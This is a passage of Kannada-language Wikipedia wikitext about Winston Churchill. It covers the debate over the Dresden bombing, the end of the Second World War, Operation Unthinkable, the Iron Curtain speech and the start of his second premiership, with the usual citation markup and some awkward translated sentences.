೧೯೪೫'' , ಲಂಡನ್: ಬ್ಲೂಮ್ಸ್‌ಬರಿ, ISBN ೦-೭೪೭೫-೭೦೭೮-೭; pp. ೪೩೨–೩೩</ref> ಮೆಮೋದ ಈ ಅಂತಿಮ ಆವೃತ್ತಿಯು ೧೯೪೫ರ ಎಪ್ರಿಲ್ ೧ರಂದು ಮುಕ್ತಾಯಗೊಂಡು ಈ ರೀತಿ ಹೇಳುತ್ತದೆ:{{bquote|It seems to me that the moment has come when the question of the so called 'area-bombing' of German cities should be reviewed from the point of view of our own interests. If we come into control of an entirely ruined land, there will be a great shortage of accommodation for ourselves and our allies... We must see to it that our attacks do no more harm to ourselves in the long run than they do to the enemy's war effort.<ref name="Longmate-346"/><ref name="Taylor-432-433"/>}} ಕಟ್ಟಕಡೆಯದಾಗಿ ಆಕ್ರಮಣದಲ್ಲಿನ ಬ್ರಿಟಿಷ್ ಭಾಗದ ಜವಾಬ್ಧಾರಿಯು ಚರ್ಚಿಲ್‌ನ ಕೈಯಲ್ಲಿದ್ದು ಈ ಕಾರಣಕ್ಕಾಗಿಯೇ ಬಾಂಬ್ ದಾಳಿ ನಡೆಸುವಲ್ಲಿನ ತನ್ನ ಕ್ರಮಕ್ಕೆ ಈತನು ಟೀಕೆಗೊಳಗಾಗುತ್ತಿದ್ದನು. ಜರ್ಮನಿಯ ಇತಿಹಾಸಕಾರ ಜಾರ್ಗ್ ಫ್ರೆಡ್ರಿಕ್ "೧೯೪೫ ರ ಜನವರಿ ಮತ್ತು ಮೇ ತಿಂಗಳ ಮಧ್ಯೆ ಒಡೆದುಹೋದ ಜರ್ಮನಿಯ ಮೇಲೆ [ಪ್ರದೇಶ] ಬಾಂಬ್ ದಾಳಿ ನಡೆಸುವ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್‌ನ ನಿರ್ಧಾರವು ಯುದ್ಧಾಪರಾಧವಾಗಿದೆ" ಎಂದು ಆರೋಪಿಸಿದರು<ref>ಲ್ಯೂಕ್ ಹಾರ್ಡಿಂಗ್ [https://www.theguardian.com/international/story/0,3604,1067232,00.html ಜರ್ಮನ್ ಹಿಸ್ಟೋರಿಯನ್ ಪ್ರೊವೋಕ್ಸ್ ರಾ ಒವರ್ ವಾರ್ ಫೋಟೋಸ್] ಇನ್ ದಿ ಗಾರ್ಡಿಯನ್, ೨೧ ಅಕ್ಟೋಬರ್ ೨೦೦೩</ref> ಮತ್ತು ೨೦೦೬ರಲ್ಲಿ "ಕ್ರಿಸ್ತ ಪೂರ್ವದ ತತ್ವಶಾಸ್ತ್ರಜ್ಞ" ವನ್ನು ಬರೆಯುತ್ತಿದ್ದನು RAF ನಿಂದ ನಡೆದ ಒಟ್ಟು ಬಾಂಬ್ ಕಾರ್ಯಾಚರಣೆಯ ಯುದ್ಧ ತಂತ್ರವನ್ನು ಎ.ಸಿ. ಗ್ರೇಲಿಂಗ್ ಪ್ರಶ್ನಿಸಿ ಅದು ಯುದ್ಧಾಪರಾಧವಾಗಿಲ್ಲದಿದ್ದರೂ, ಅದೊಂದು ನೈತಿಕ ಅಪರಾಧವಾಗಿದೆ ಮತ್ತು ಅವರು ಕೇವಲ ಯುದ್ಧವನ್ನು ಮಾತ್ರ ಸೆಣಸಿದರು ಎಂಬ ಒಕ್ಕೂಟದ ಹೋರಾಟವನ್ನು ಶಿಥಿಲಗೊಳಿಸಿತು. ಇನ್ನೊಂದು ರೀತಿಯಲ್ಲಿ ಅದು ಡ್ರೆಸ್ಟನ್ ಬಾಂಬ್ ದಾಳಿ ವಿಚಾರದಲ್ಲಿ ಚರ್ಚಿಲ್‌ನ ಒಳಗೊಳ್ಳುವಿಕೆಯು ಯುದ್ಧವನ್ನು ಗೆಲ್ಲುವ ಉದ್ದೇಶದಿಂದ ಕೂಡಿದ ಯುದ್ಧತಂತ್ರಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ವಿಚಾರ ಎಂದು ಕೂಡಾ ದೃಢಪಟ್ಟಿತು.<ref>{{cite book|last=Grayling|first=A.C.|authorlink=A.C. Grayling|year=2006|title=Among the Dead Cities|publisher=Walker Publishing Company Inc.|location=New York|isbn=0-8027-1471-4}} ಪುಪು. ೨೩೭–೩೮</ref> ಮತ್ತೊಂದು ಬದಿಯಲ್ಲಿ, ಡೆಸ್ಡೆನ್‌ನ ಬಾಂಬ್ ಧಾಳಿಯಲ್ಲಿ ಚರ್ಚಿಲ್‌ರ ತೊಡಗಿಕೊಳ್ಳುವಿಕೆಯು ಯುದ್ಧವನ್ನು ಗೆಲ್ಲುವ ಯುದ್ಧತಾಂತ್ರಿಕ ಮತ್ತು ಯೋಜನೆಯ ಸಂಗತಿಯಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಕೂಡ ಆರೋಪಿಸಲ್ಪಟ್ಟಿತು. ಭಾರೀ ಪ್ರಮಾಣದಲ್ಲಿದ್ದ ಡ್ರೆಸ್ಡನ್‌ನ ವಿನಾಶವು ಜರ್ಮನಿಯ ಸೋಲನ್ನು ಸಾಧಿಸಲು ವಿನ್ಯಾಸಗೊಳಿಸಿದ ಯುದ್ಧತಂತ್ರ. ಚರಿತ್ರಕಾರ ಮತ್ತು ಪತ್ರಿಕೋದ್ಯಮಿಯಾದ ಮ್ಯಾಕ್ಸ್ ಹಾಸ್ಟಿಂಗ್ಸ್ ಒಂದು ಲೇಖನದಲ್ಲಿ , "ಡ್ರೆಸ್ಡನ್ ಮೇಲಿನ ಒಕ್ಕೂಟಗಳ ಬಾಂಬ್ ದಾಳಿ" ಎಂಬ ಉಪಶೀರ್ಷಿಕೆಯಡಿ ಹೇಳಿದಂತೆ "ಯುದ್ಧೋದ್ದೇಶದ ಬಾಂಬ್ ದಾಳಿಯನ್ನು ಯುದ್ಧಾಪರಾಧ ಎಂದು ವಿವರಿಸುವುದು ತಪ್ಪು ಅಲ್ಲದೆ ಅದು ಸ್ವಲ್ಪ ಮಟ್ಟಿನ ನೈತಿಕ ಸಮತೋಲನವನ್ನು ಮೂಡಿಸುವ ಸಲುವಾಗಿ ನಾಝೀಸ್‌ನ ಮಹಾತ್ಕಾರ್ಯದ ಜೊತೆಗೆ ನಡೆಸಿದ ಕಾರ್ಯಾಚರಣೆಯೂ ಆಗಿರಬಹುದು ಎಂದು ನಾನು ನಂಬುತ್ತೇನೆ. ಬಾಂಬ್ ದಾಳಿಯು ಒಂದು ಪ್ರಾಮಾಣಿಕವಾಗಿ ನಡೆದ ಅವಿವೇಕದ ಕಾರ್ಯ, ಜರ್ಮನಿಯ ಸೈನಿಕ ಸೋಲನ್ನು ಉಂಟುಮಾಡಲು ನಡೆಸಿದ ಒಂದು ಪ್ರಯತ್ನವಾಗಿದೆ. "ಬ್ರಿಟಿಷ್ ಇತಿಹಾಸಕಾರ, ಫ್ರೆಡೆರಿಕ್ ಟೈಲರ್ ಯುದ್ಧಕಾಲದಲ್ಲಿ ಎಲ್ಲಾ ಭಾಗಗಳು ತಮ್ಮೊಳಗೆ ಪರಸ್ಪರ ಬಾಂಬ್ ದಾಳಿನಡೆಸಿದರು. ಸೋವಿಯತ್ ಪ್ರಜೆಗಳಲ್ಲಿ ಅರ್ಧ ಮಿಲಿಯ ಜನರು ಉದಾಹರಣೆಗೆ, ರಷ್ಯಾದ ಆಕ್ರಮಣ ಮತ್ತು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವಿಕೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಜರ್ಮನ್‌ರಿಂದ ಮೃತರಾದರು. ಸ್ಥೂಲವಾಗಿ ಇದು ಒಕ್ಕೂಟದ ದಾಳಿಯಿಂದ ಮರಣ ಹೊಂದಿದ ಜರ್ಮನ್ ನಾಗರಿಕರ ಸಂಖ್ಯೆಗೆ ಸಮನಾಗಿದೆ. ಆದರೆ, ಒಕ್ಕೂಟಗಳ ಬಾಂಬ್ ಆಕ್ರಮಣವು ಸೈನಿಕ ಕಾರ್ಯಾಚರಣೆಯೊಂದಿಗೆ ಜೊತೆಯಾಗಿದ್ದು ಸೈನಿಕ ಕಾರ್ಯಾಚರಣೆಯು ನಿಂತಾಗಲೇ ಇದೂ ಕೂಡಾ ನಿಲ್ಲಿಸಲ್ಪಟ್ಟಿತು."<ref>ಚಾರ್ಲ್ಸ್ ಹಾವ್ಲೆ [http://www.spiegel.de/international/0,1518,341239,00.html "ಡೆಸ್ಡನ್ ಬಾಂಬಿಂಗ್ ಈಸ್ ಟು ಬಿ ರಿಗ್ರೇಟೆಡ್ ಎನಾರ್ಮಸ್ಲಿ"], ''ಡೇರ್ ಸೈಜೆಲ್'' ಆನ್‌ಲೈನ್, ೧೧ ಫೆಬ್ರವರಿ ೨೦೦೫</ref> ===ಎರಡನೆಯ ಜಾಗತಿಕ ಯುದ್ಧದ ಸಮಾಪ್ತಿ=== [[File:Churchill waves to crowds.jpg|thumb|ಜರ್ಮನಿ ಜೊತೆಗಿನ ಯುದ್ಧದಲ್ಲಿ ಜಯಶಾಲಿಯಾದ ಸಂದರ್ಭದಲ್ಲಿ ವೈಟ್‌ಹಾಲ್‌ನಲ್ಲಿರುವ ಗದ್ದಲದ ಪ್ರಸಾರ, 8ಮೇ 1945.]] ಜೂನ್ ೧೯೪೪ ರಲ್ಲಿ, ಸಂಬಂಧಿತ ಸೈನ್ಯಗಳು ನಾರ್ಮ್ಯಾಂಡಿಯ ಮೇಲೆ ಆಕ್ರಮಣ ಮಾಡಿದವು ಮತ್ತು ನಂತರದ ವರ್ಷದಲ್ಲಿ ಒಂದು ದೊಡ್ಡ ಕದನ ಭೂಮಿಯ ಮೇಲೆ ವಾಪಸು ಜರ್ಮನಿಗೆ ನಾಜಿ ಸೈನ್ಯಗಳನ್ನು ಕಳಿಸಿದವು. ಮಿತ್ರರಾಷ್ಟ್ರಗಳ ಮೂಲಕ ಮೂರು ಕದನಭೂಮಿಗಳಲ್ಲಿ ಆಕ್ರಮಣಕ್ಕೊಳಗಾದ ನಂತರ, ಮತ್ತು ಮಿತ್ರರಾಷ್ಟ್ರಗಳ ವೈಫಲ್ಯದ ಹೊರತಾಗಿಯೂ, ಅಂದರೆ ಆಪರೇಷನ್ ಮಾರ್ಕೇಟ್ ಗಾರ್ಡನ್, ಮತ್ತು ಬ್ಯಾಟಲ್ ಆಫ್ ದ ಬಲ್ಜ್ ಅನ್ನು ಒಳಗೊಂಡಂತೆ ಜರ್ಮನ್ ಪ್ರತಿ-ಆಕ್ರಮಣಗಳ ವೈಫಲ್ಯದ ಹೊರತಾಗಿಯೂ ಜರ್ಮನಿಯು ಹಂತಹಂತವಾಗಿ ವೈಫಲ್ಯವನ್ನು ಅನುಭವಿಸಿತು. ೭ ಮೇ ೧೯೪೫ ರಂದು ರೈಮ್ಸ್‌ನ SHAEF ಮುಖ್ಯಕಛೇರಿಯಲ್ಲಿ ಮಿತ್ರರಾಷ್ಟ್ರಗಳು ಜರ್ಮನಿಯ ಶರಣಾಗತಿಯನ್ನು ಒಪ್ಪಿಕೊಂಡವು. ಅದೇ ದಿನದಂದು ಒಂದು ಬಿಬಿಸಿ ಸುದ್ದಿ ಪ್ರಸಾರಕ ಜಾನ್ ಸ್ನ್ಯಾಗ್ ೮ ಮೇ ಯು ಯುರೋಪ್ ದಿನದಲ್ಲಿನ ಜಯವಾಗಿದೆ ಎಂಬುದಾಗಿ ಘೋಷಿಸಿದನು.<ref>[http://www.bbc.co.uk/radio4/history/coming_home/cominghome_archive.shtml ಕಮಿಂಗ್ ಹೋಮ್] ಬಿಬಿಸಿ ಫೋರ್, ೯am to ೯.೪೫am, ೯–೧೩ ಮೇ ೨೦೦೫.</ref> ಯುರೋಪ್ ದಿನದಲ್ಲಿನ ಜಯದಂದು, ಜರ್ಮನಿಯು ಶರಣಾಗತವಾಗಿದೆ ಮತ್ತು ಯುರೋಪ್‌ನ ಎಲ್ಲಾ ವಿಭಾಗಗಳ ಮೇಲಿನ ಒಂದು ಅಂತಿಮ ಕದನ ವಿರಾಮವು ಆ ದಿನದ ಮಧ್ಯರಾತ್ರಿಯು ಕಳೆದ ಒಂದು ನಿಮಿಷದ ನಂತರದಲ್ಲಿ ಜಾರಿಗೆ ಬರುತ್ತದೆ ಎಂಬುದಾಗಿ ಚರ್ಚಿಲ್ ರಾಷ್ಟ್ರಕ್ಕೆ ಪ್ರಸಾರ ಮಾಡಿದರು.<ref>[http://news.bbc.co.uk/onthisday/hi/dates/stories/may/8/newsid_3580000/3580163.stm ಆನ್ ದಿಸ್ ಡೆ 8 ಮೇ 1945] ಬಿಬಿಸಿ. ೨೬ ಡಿಸೆಂಬರ್ ೨೦೦೭ರಂದು ಪಡೆದದ್ದು.</ref><ref>ದಿ ಯು.ಕೆ. ಆನ್ ಡಬಲ್ ಸಮ್ಮರ್ ಟೈಮ್ವಿಚ್ ವಾಸ್ ೧ ಅವರ್ ಇನ್ ಫ್ರೆಂಟ್ ಆಫ್ ೨೩೦೧ ಅವರ್ಸ್ ಸಿಇಟಿ ದ್ಯಾಟ್ ದ ಸರೆಂಡರ್ ಡಾಕ್ಯುಮೆಂಟ್ ಸ್ಪೆಸಿಫೈಡ್ ([http://www.raf.mod.uk/bombercommand/apr45.html ಆರ್‌ಎ‍ಎಫ್ ಸೈಟ್ ಡೈರಿ 7/8 ಮೇ])</ref> ಅದರ ನಂತರ, ಚರ್ಚಿಲ್ ವೈಟ್‌ಹಾಲ್‌ನಲ್ಲಿ ನೆರೆದ ಸಹಸ್ರಾರು ಮಂದಿಗೆ ಈ ರೀತಿ ಹೇಳಿದರು: "ಇದು ನಿಮ್ಮ ಜಯ." ಜನರು ಈ ರೀತಿ ಪ್ರತಿಕ್ರಿಯಿಸಿದರು: "ಇಲ್ಲ, ಇದು ನಿಮ್ಮ ಜಯ", ಮತ್ತು ಚರ್ಚಿಲ್ ನಂತರದಲ್ಲಿ ಜನರು ಅಭಿಲಾಷೆ ಮತ್ತು ಸಮೃದ್ಧಿಯ ಭೂಮಿ (ಲ್ಯಾಂದ್ ಆಫ್ ಹೋಪ್ ಎಂಡ್ ಗ್ಲೋರಿ) ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿಹಾಕುವುದಕ್ಕೆ ಅವರ ಮನವೊಲಿಸಿದರು. ಆ ದಿನ ಸಂಜೆ ಅವರು ನಂತರದ ತಿಂಗಳುಗಳಲ್ಲಿ ಜಪಾನ್‌ನ ವೈಫಲ್ಯವನ್ನು ಸಮರ್ಥವಾಗಿ ಪ್ರತಿಪಾದಿಸುವುದಕ್ಕೆ ರಾಷ್ಟ್ರಕ್ಕೆ ಮತ್ತೊಂದು ಪ್ರಸಾರಣವನ್ನು ಮಾಡಿದರು.<ref name="gilbert" /> ನಂತರ ಜಪಾನಿಯರು ೧೫ ಅಗಸ್ಟ್ ೧೯೪೫ ರಂದು ಶರಣಾಗತರಾದರು. ಯುರೋಪ್ ಆರು ವರ್ಷಗಳ ಯುದ್ಧವು ಸಮಾಪ್ತಿಯಾದ ನಂತರ ಶಾಂತಿಯನ್ನು ಆಚರಿಸುತ್ತಿದ್ದ ಸಮಯದಲ್ಲಿ, ಚರ್ಚಿಲ್ ಈ ಆಚರಣೆಯು ಸ್ವಲ್ಪ ಸಮಯದಲ್ಲಿಯೇ ಕ್ರೂರವಾಗಿ ಕೊನೆಗೊಳ್ಳಲ್ಪಡುತ್ತದೆ ಎಂಬ ಭಾವನೆಯನ್ನು ಹೊಂದಿದ್ದರು.<ref>[http://www.telegraph.co.uk/htmlContent.jhtml?html=/archive/1998/10/01/nwar101.html ದಿ ಸಿಕ್ರೇಟ್ ಸ್ಟ್ರೇಟಜಿಟು ಲಂಚ್ ಅಟ್ಯಾಕ್ ಆನ್ ರೆಡ್ ಆರ್ಮಿ] {{Webarchive|url=https://web.archive.org/web/20080528222149/http://www.telegraph.co.uk/htmlContent.jhtml?html=%2Farchive%2F1998%2F10%2F01%2Fnwar101.html |date=2008-05-28 }}. ಬಾಬ್ ಪೆಂಟಾನ್ ''ಟೆಲಿಗ್ರಾಫ್'' ,ಇಶ್ಯೂ೧೧೨೪. ೧ ಅಕ್ಟೋಬರ್ ೧೯೯೮</ref> ಯು.ಕೆ. ಮತ್ತು ಯುಎಸ್‌ಗಳು ಈ ಮುಂಚಿತವಾಗಿ ಒಪ್ಪಿಕೊಂಡ ಗಡಿಗಳನ್ನು ಮತ್ತು ಯುರೋಪ್‌ನಲ್ಲಿನ ಒಪ್ಪಂದಗಳನ್ನು ನಿರ್ಲಕ್ಷಿಸಿ ರೆಡ್ ಆರ್ಮಿ (ಕೆಂಪು ಸೈನ್ಯ) ಯನ್ನು ನಿರ್ಮಿಸಬೇಕು, ಮತ್ತು "ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಮತ್ತು ಬ್ರಿಟೀಷ್ ಅಧಿಪತ್ಯದ ಅಭಿಲಾಷೆಯನ್ನು ರಷ್ಯಾದ ಮೇಲೆ ವಿಧಿಸುವುದಕ್ಕೆ" ತಯಾರಿಯನ್ನು ನಡೆಸಬೇಕು ಎಂಬುದಾಗಿ ಚರ್ಚಿಲ್ ಹೇಳಿದರು.<ref>{{cite web|last=British War Cabinet, [[Joint Planning Staff]], Public Record Office, CAB 120/691/109040 / 002|date=11 August 1945|url=http://www.history.neu.edu/PRO2/|title=Operation Unthinkable: 'Russia: Threat to Western Civilization'|format=online photocopy|publisher=Department of History, Northeastern University|accessdate=28 June 2008|archive-date=6 ಜುಲೈ 2008|archive-url=https://web.archive.org/web/20080706093010/http://www.history.neu.edu/PRO2/|url-status=dead}}</ref> ಚರ್ಚಿಲ್‌ರಿಂದ ಆದೇಶವನ್ನು ಪಡೆದುಕೊಂಡ ಮತ್ತು ಬ್ರಿಟೀಷ್ ಆರ್ಮ್‌ಡ್ ಸೈನ್ಯಗಳಿಂದ ಅಭಿವೃದ್ಧಿಗೊಳಿಸಲ್ಪಟ್ಟ ಆಪರೇಷನ್ ಅನ್‌ಥಿಂಕೇಬಲ್ (ಅನಪೇಕ್ಷಣೀಯ ಕಾರ್ಯಾಚರಣೆ) ಯೋಜನೆಯ ಪ್ರಕಾರ, ಮೂರನೆಯ ಜಾಗತಿಕ ಯುದ್ಧವು ನೆರೆರಾಷ್ಟ್ರ ಸೋವಿಯತ್ ತುಕಡಿಗಳ ವಿರುದ್ಧದ ಒಂದು ತ್ವರಿತ ಆಕ್ರಮಣದ ಜೊತೆಗೆ ೧ ಜುಲೈ ೧೯೪೫ ರಂದು ಪ್ರಾರಂಭವಾಗಲ್ಪಟ್ಟಿತು. ಆದರೆ ಈ ಯೋಜನೆಯು ಮಿಲಿಟರಿಯ ಪ್ರಕಾರ ಅಸಂಭವನೀಯವೆಂಬ ಕಾರಣ ನೀಡಿದ ಬ್ರಿಟೀಷ್ ಚೀಫ್ಸ್ ಆಫ್ ಸ್ಟಾಫ್ ಸಮಿತಿಯು ಇದನ್ನು ತಿರಸ್ಕರಿಸಿತು. ==ವಿರೋಧ ಪಕ್ಷದ ನಾಯಕ== [[File:Bundesarchiv Bild 183-14059-0005, Potsdamer Konferenz, Winston Churchill.jpg|thumb|left|ಪೋಟ್ಸ್‌ಡ್ಯಾಂನಲ್ಲಿ ಚರ್ಚಿಲ್‌ , ಜುಲೈ 1945]] {{Main|Later life of Winston Churchill}} ಎರಡನೆಯ ಜಾಗತಿಕ ಯುದ್ಧದ ಸಮಯದಲ್ಲಿ ಚರ್ಚಿಲ್‌ರ ಪಾತ್ರವು ಬ್ರಿಟೀಷ್ ಜನರಿಂದ ಅವರಿಗೆ ಹೆಚ್ಚಿನ ಬೆಂಬಲವನ್ನು ಒದಗಿಸಿದ್ದರೂ ಕೂಡ, ಅವರು ೧೯೪೫ ರ ಚುನಾವಣೆಯಲ್ಲಿ ಸೋಲನ್ನು ಅನುಭವಿಸಿದರು.<ref>ಪಿಕ್‌ನೆಟ್., ಇತ್ಯಾದಿ ಪುಟ. ೧೯೦</ref> ಇದಕ್ಕೆ ಹಲವಾರು ಕಾರಣಗಳು ನೀಡಲ್ಪಡುತ್ತವೆ, ಅವುಗಳಲ್ಲಿ ಪ್ರಮುಖವಾದ ಕಾರಣವೆಂದರೆ ಯುದ್ಧ-ನಂತರದ ಸುಧಾರಣೆಗಾಗಿನ ಒಂದು ಭಾವನೆಯು ಜನರ ನಡುವೆ ವ್ಯಾಪಕವಾಗಿ ಹರಡಲ್ಪಟ್ಟಿತು ಮತ್ತು ಯುದ್ಧದಲ್ಲಿ ಬ್ರಿಟನ್ ಅನ್ನು ಮುನ್ನಡೆಸಿದ ವ್ಯಕ್ತಿಯು ರಾಷ್ಟ್ರವನ್ನು ಶಾಂತಿಯುತವಾಗಿ ಮುನ್ನಡೆಸುತ್ತಾನೆ ಎಂಬುದಾಗಿ ಜನರು ಭಾವಿಸಲಿಲ್ಲ.<ref>ಜೆನ್ಕಿನ್ಸ್ , ಪುಪು. ೭೮೯–೯೪</ref> [[File:Wc0279.jpg|thumb|ಅಕ್ಟೋಬರ್ 1951ರ ನ್ಯಾಟೋ ಸಭೆಯಲ್ಲಿ ಅಮೆರಿಕಾದ ಜನರಲ್ ಡ್ವೈಟ್ ಡಿ ಐಸೆನ್‌ಹೋವರ್ ಮತ್ತು ಫೀಲ್ಡ್ ಮಾರ್ಷಲ್ ಬೆರ್ನಾರ್ಡ್ ಲಾ ಮೊಂಟ್ಗೊಮೇರಿ ಜೊತೆ ಚರ್ಚಿಲ್‌ ,ಸ್ವಲ್ಪ ದಿನಗಳ ಹಿಂದಷ್ಟೆ ಚರ್ಚಿಲ್ ಎರಡನೆಯ ಬಾರಿಗೆ ಪ್ರಧಾನಿಯಾಗಿದ್ದರು.]] ಆರು ವರ್ಷಗಳ ಕಾಲ ಅವರು ವಿರೋಧ ಪಕ್ಷದ ನಾಯಕರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಬೇಕಾಯಿತು. ಈ ಅವಧಿಯಲ್ಲಿ ಚರ್ಚಿಲ್ ಜಾಗತಿಕ ಸುದ್ದಿ ಸಮಾಚಾರಗಳ ಮೇಲಿನ ಒಂದು ಪರಿಣಾಮವನ್ನು ಗಮನಿಸುವುದನ್ನು ಮುಂದುವರೆಸಿದರು. ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ಗೆ ಅವರ ಮಾರ್ಚ್ ೧೯೪೬ ರ ಪ್ರವಾಸದ ಸಮಯದಲ್ಲಿ, ಚರ್ಚಿಲ್ ಹ್ಯಾರಿ ಟ್ರುಮನ್ ಮತ್ತು ಅವರ ಸಲಹಾಗಾರರ ಜೊತೆಗೆ ಒಂದು ಪೋಕರ್ ಆಟದಲ್ಲಿ ಹೆಚ್ಚಿನ ಹಣವನ್ನು ಕಳೆದುಕೊಂಡರು.<ref>[https://web.archive.org/web/20071025031206/http://www.cnn.com/SPECIALS/cold.war/episodes/02/interviews/clifford/ Interview: Clark Clifford]. ೨೩ಮಾರ್ಚ್‌ ೨೦೦೯ರಂದು ಪುನಃಪಡೆದುಕೊಳ್ಳಲಾಯಿತು.</ref> (ಅವರು ಬೆಜಿಕ್ ಅನ್ನು ಆಡುವುದರಲ್ಲಿಯೂ ಆಸಕ್ತಿಯನ್ನು ಹೊಂದಿದ್ದರು, ಇದನ್ನು ಅವರು ಬೋಯರ್ ಯುದ್ಧದ ಸಮಯದಲ್ಲಿ ಕಲಿತಿದ್ದರು.) ಈ ಪ್ರವಾಸದ ಸಮಯದಲ್ಲಿ ಅವರು ಯುಎಸ್‌ಎಸ್‌ಆರ್ ಬಗ್ಗೆ ಮತ್ತು ಈಸ್ಟರ್ನ್ ಬ್ಲಾಕ್ ನಿರ್ಮಾಣದ ಬಗ್ಗೆ ತಮ್ಮ ಐರನ್ ಸ್ಪೀಚ್ ಅನ್ನು ನೀಡಿದರು. ಫುಲ್ಟೊನ್ , ಮಿಸ್ಸೌರಿಯಲ್ಲಿನ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಕಾಲೇಜ್‌ನಲ್ಲಿ ೫ ಮಾರ್ಚ್ ೧೯೪೬ ರಂದು ಭಾಷಣ ಮಾಡುವ ಸಮಯದಲ್ಲಿ ಅವರು ಈ ರೀತಿಯಾಗಿ ಘೋಷಿಸಿದರು: <blockquote> ''ಬಾಲ್ಟಿಕ್‌ನಲ್ಲಿನ ಸ್ಟೆಟಿನ್‌ದಿಂದ ಆಡ್ರಿಯಾಟಿಕ್‌ನಲ್ಲಿನ ಟ್ರೈಸ್ಟ್‌ವರೆಗೆ, ಭೂಖಂಡದೆಲ್ಲೆಡೆ ಒಂದು ಕಬ್ಬಿಣದ ಪರದೆಯು ಆವರಿಸಿಕೊಳ್ಳಲ್ಪಟ್ಟಿದೆ. '' ''ಅದರ ಹಿಂದೆ ಕೇಂದ್ರ ಮತ್ತು ಪೂರ್ವ ಯುರೋಪ್‌ನ ಪ್ರಾಚೀನ ರಾಜ್ಯಗಳ ರಾಜಧಾನಿಗಳಲ್ಲಿ ಒಂದು ಗಡಿಯು ಕಂಡುಬರುತ್ತದೆ. '' ''ವಾರ್ಸಾವ್, ಬರ್ಲಿನ್, ಪ್ರಾಗ್ವೆ, ವಿಯೆನ್ನಾ, ಬುಡಾಪೆಸ್ಟ್, ಬೆಲ್‌ಗ್ರೇಡ್, ಬುಚಾರೆಸ್ಟ್ ಮತ್ತು ಸೋಫಿಯಾ, ಈ ಎಲ್ಲಾ ಜನಪ್ರಿಯ ನಗರಗಳು ಮತ್ತು ಇವುಗಳ ಸುತ್ತಮುತ್ತಲಿನ ಜನಸಂಖ್ಯೆಗಳು ಸೋವಿಯತ್ ವಲಯ ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಡುವ ಪ್ರದೇಶದಲ್ಲಿ ಕಂಡುಬರುತ್ತವೆ.'' <ref name="centre-429">{{cite web|url=http://www.winstonchurchill.org/learn/speeches/speeches-of-winston-churchill/120-the-sinews-of-peace|title=Sinews of Peace (Iron Curtain)|accessdate=26 February 2007|last=Churchill|first=Winston|publisher=Churchill Centre|archive-date=5 ಜೂನ್ 2009|archive-url=https://web.archive.org/web/20090605210758/http://www.winstonchurchill.org/learn/speeches/speeches-of-winston-churchill/120-the-sinews-of-peace|url-status=dead}}</ref></blockquote> ಚರ್ಚಿಲ್ ಯುರೋಪಿಯನ್ ಕೋಲ್ ಮತ್ತು ಸ್ಟೀಲ್ ಸಮುದಾಯದಿಂದ ಬ್ರಿಟೀಷ್ ಸ್ವಾತಂತ್ರ್ಯಕ್ಕಾಗಿ ಪ್ರಬಲವಾಗಿ ವಾದಿಸಿದರು, ಅದನ್ನು ಅವರು ಫ್ರ್ಯಾಂಕೋ-ಜರ್ಮನ್ ಯೋಜನೆಯೆಂಬಂತೆ ವೀಕ್ಷಿಸಿದರು. ಅವರು ಬ್ರಿಟನ್‌ನ ಪ್ರದೇಶವನ್ನು ಭೂಖಂಡದಿಂದ ಪ್ರತ್ಯೇಕವಾದ ಪ್ರದೇಶ ಎಂಬಂತೆ ವೀಕ್ಷಿಸಿದರು, ಈ ಪ್ರದೇಶವು ಕಾಮನ್‌ವೆಲ್ತ್ ‌ನ ರಾಷ್ಟ್ರಗಳ ಗಡಿಯ ಜೊತೆಗೆ ಮತ್ತು ರಾಜ ಮತ್ತು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಜೊತೆಗೆ ಇದ್ದ ಆಂಗ್ಲೋಸ್ಫಿಯರ್ ಎಂದು ಕರೆಯಲ್ಪಟ್ಟ ಪ್ರದೇಶವಾಗಿತ್ತು.<ref>ಜೆನ್ಕಿನ್ಸ್ , ಪುಟ. ೮೧೦ ಮತ್ತು ಪುಪು. ೮೧೯–೧೪</ref><ref name="quote-data">{{cite web|url=http://www.churchill-society-london.org.uk|title=Remembrance Day 2003|accessdate=25 April 2007|publisher=Churchill Society London}}</ref> <div></div> ಚರ್ಚಿಲ್ ೧೯೪೯ ರಲ್ಲಿ ಡೆಪ್ಯುಟಿ ಲೆಫ್ಟಿನೆಂಟ್(ಡಿಎಲ್) ಕೆಂಟ್ ಕಛೇರಿಯ ಸ್ಥಾನವನ್ನು ಪಡೆದುಕೊಂಡರು.<ref>[http://thepeerage.com/p10620.htm#i106196 ಬಯೋಗ್ರಫಿ ರೈಟ್ ಆನರೇಬಲ್ ಸರ್ ವಿನ್‌ಸ್ಟನ್ ಲಿಯೋನಾರ್ಡ್ ಸ್ಪೆನ್ಸರ್ ಚರ್ಚಿಲ್‌] - website thePeerage.com</ref> ==ಪ್ರಧಾನ ಮಂತ್ರಿಯಾಗಿ ಎರಡನೆಯ ಅವಧಿ== {{Main|Mau Mau Uprising|Malayan Emergency|1953 Iranian coup d'état}} ===ಸರ್ಕಾರಕ್ಕೆ ವಾಪಸು ಬರುವಿಕೆ ಮತ್ತು ಬ್ರಿಟೀಷ್ ಅಧಿಪತ್ಯದ ಅವನತಿ=== ೧೯೫೧ರ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯ ನಂತರ, ಚರ್ಚಿಲ್ ಅಕ್ಟೋಬರ್ ೧೯೫೧ ಮತ್ತು ಜನವರಿ ೧೯೫೨ ರ ನಡುವೆ ಮಿನಿಸ್ಟರ್ ಆಫ್ ಡಿಫೆನ್ಸ್‌ನ ಕಛೇರಿಯಲ್ಲಿ ಮತ್ತೊಮ್ಮೆ ಶಾನವನ್ನು ಪಡೆದುಕೊಂಡರು. ಅಕ್ಟೋಬರ್ ೧೯೫೧ ರಲ್ಲಿ ಅವರು ಪ್ರಧಾನ ಮಂತ್ರಿಯೂ ಕೂಡ ಆದರು, ಮತ್ತು ಅವರ ಮೂರನೆಯ ಸರ್ಕಾರವು - ಯುದ್ಧ 